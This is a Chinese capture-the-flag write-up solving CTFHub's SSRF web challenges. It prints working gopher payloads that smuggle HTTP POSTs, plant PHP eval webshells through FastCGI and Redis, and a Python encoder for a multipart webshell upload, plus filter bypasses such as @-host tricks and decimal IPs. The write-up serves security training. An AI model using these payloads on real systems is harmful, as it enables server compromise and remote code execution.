0


CTFHub-Web-SSRF

CTFHub-Web-SSRF-WP

一、内网访问

1.题目提示说访问127.0.0.1的flag.php,在URL后面添加路径没想到直接访问成功

image-20240417105839461

二、伪协议读取文件

1.题目提示说访问Web目录下的flag.php,联想到Web目录一般存放于/var/www/html/里,去修改URL尝试进行访问。页面显示???,那就尝试查看源代码得到flag

image-20240417110507525

三、端口扫描

1.题目提示说是在8000-9000端口之间,先尝试访问一下8000端口,发现可以访问成功但是没有flag

image-20240417111425619

2.开启Burp抓取刷新数据包发送到intruder

image-20240417111536369

3.选择攻击模式,选择攻击位置,添加攻击

image-20240417111701515

4.设置攻击类型为数值型,设置攻击范围为8001-9000

image-20240417111905823

5.攻击结束后查看长度最长的那个端口号

image-20240417112043686

6.重新进入网站访问该端口发现flag

image-20240417112210308

四、POST请求

1.访问127.0.0.1/flag.php发现了源码中有个key

image-20240417113327043

2.根据Gopher数据包格式构造数据包,尝试进行发送后没有得到Flag

image-20240424224340837

3.根据Gopher数据包特性将URL进行三次编码后重新发送

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=85dd6ab1a18c2fabacb046757c84de0b

4.最后得到Flag

image-20240424225954544

五、上传文件

1.打开题目使用file方法打开页面发现有文件上传的入口但是没有提交的选项

http://challenge-f3dab308714b77d2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

image-202404242320033572.查看源代码

image-20240424232129319

3.修改HTML源码添加上传按钮

<inputtype="submit"value="提交">

image-20240424233611574

4.上传一句话木马并抓包

image-20240425001908720

5.将抓到的数据包使用Python程序进行URL编码

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------188096258926377729394142365703
Content-Length: 264
Origin: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------188096258926377729394142365703
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST["shell"]);?>

-----------------------------188096258926377729394142365703--
"""#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result ='gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)print(result)# 这里因为是GET请求所以要进行两次url编码

image-20240425003902356

6.将输出的结果粘贴到URL中获取Flag

image-20240425003942647

六、FastCGl协议

1.打开网页后什么都没有,根据提示攻击FastCGl,首先下载Gopherus

image-20240425172905873

2.下载完成后打开gopherus,输入目标文件路径和对一句话木马所进行的base64位编码程序,存储在shell.php文件中

一句话木马

<?php @eval($_POST['x']);?>

将木马进行base64编码后存储为shell.php文件中

cho “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php

经过payload编码后得到

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH127%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7F%04%00%3C%3Fphp%20system%28%27echo%20%E2%80%9CPD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%E2%80%9D%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

image-20240425173012910

3.将生成的编码数据复制到靶场的url后面将木马进行上传

image-20240425173413283

4.上传完成后使用蚁剑进行连接

image-20240425173517807

5.进入文件管理即可找到flag文件

在这里插入图片描述

七、Redis协议

1.启动gopherus,选择PHPShell,输入一句话木马生成URL编码

image-20240425175740272

生成的URL编码

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27x%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

2.将生成后的编码再进行一次编码

image-20240425175848799

Python脚本

import urllib.parse
 
payload =""

tmp = urllib.parse.quote(payload)print(tmp)

3.将Python程序编码后的结果,输入到URL中进行上传

image-20240425175954763

4.使用蚁剑进行连接

image-20240425175544157

5.打开根目录发现flag文件所在位置

image-20240425175605575

八、URL Bypass

1.http://[email protected]/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com

image-20240425180328293

2.直接构造?url=http://[email protected]/flag.php得到flag

image-20240425180317033

九、数字IP Byepass

1.老样子先访问flag.php查看内容

image-20240425180928561

2.根据题目提示说,不能使用数字了,那就把数字转换为其他进制进行访问即可得到flag

127.0.0.1–>2130706433****十进制

image-20240425181039604

十、302跳转Bypass

1.访问flag.php发现提示不能访问IP

image-20240425181437746

2.那就改成localhost尝试进行访问,flag直接出来了

image-20240425181606800

十一、DNS重绑定Bypass

1.出题人好像忘记改了,直接输入localhost就能访问flag

image-20240425181758538



本文转载自: https://blog.csdn.net/weixin_48613011/article/details/138328766
版权归原作者 CS0_IceCream 所有, 如有侵权,请联系我们删除。

“CTFHub-Web-SSRF”的评论:

还没有评论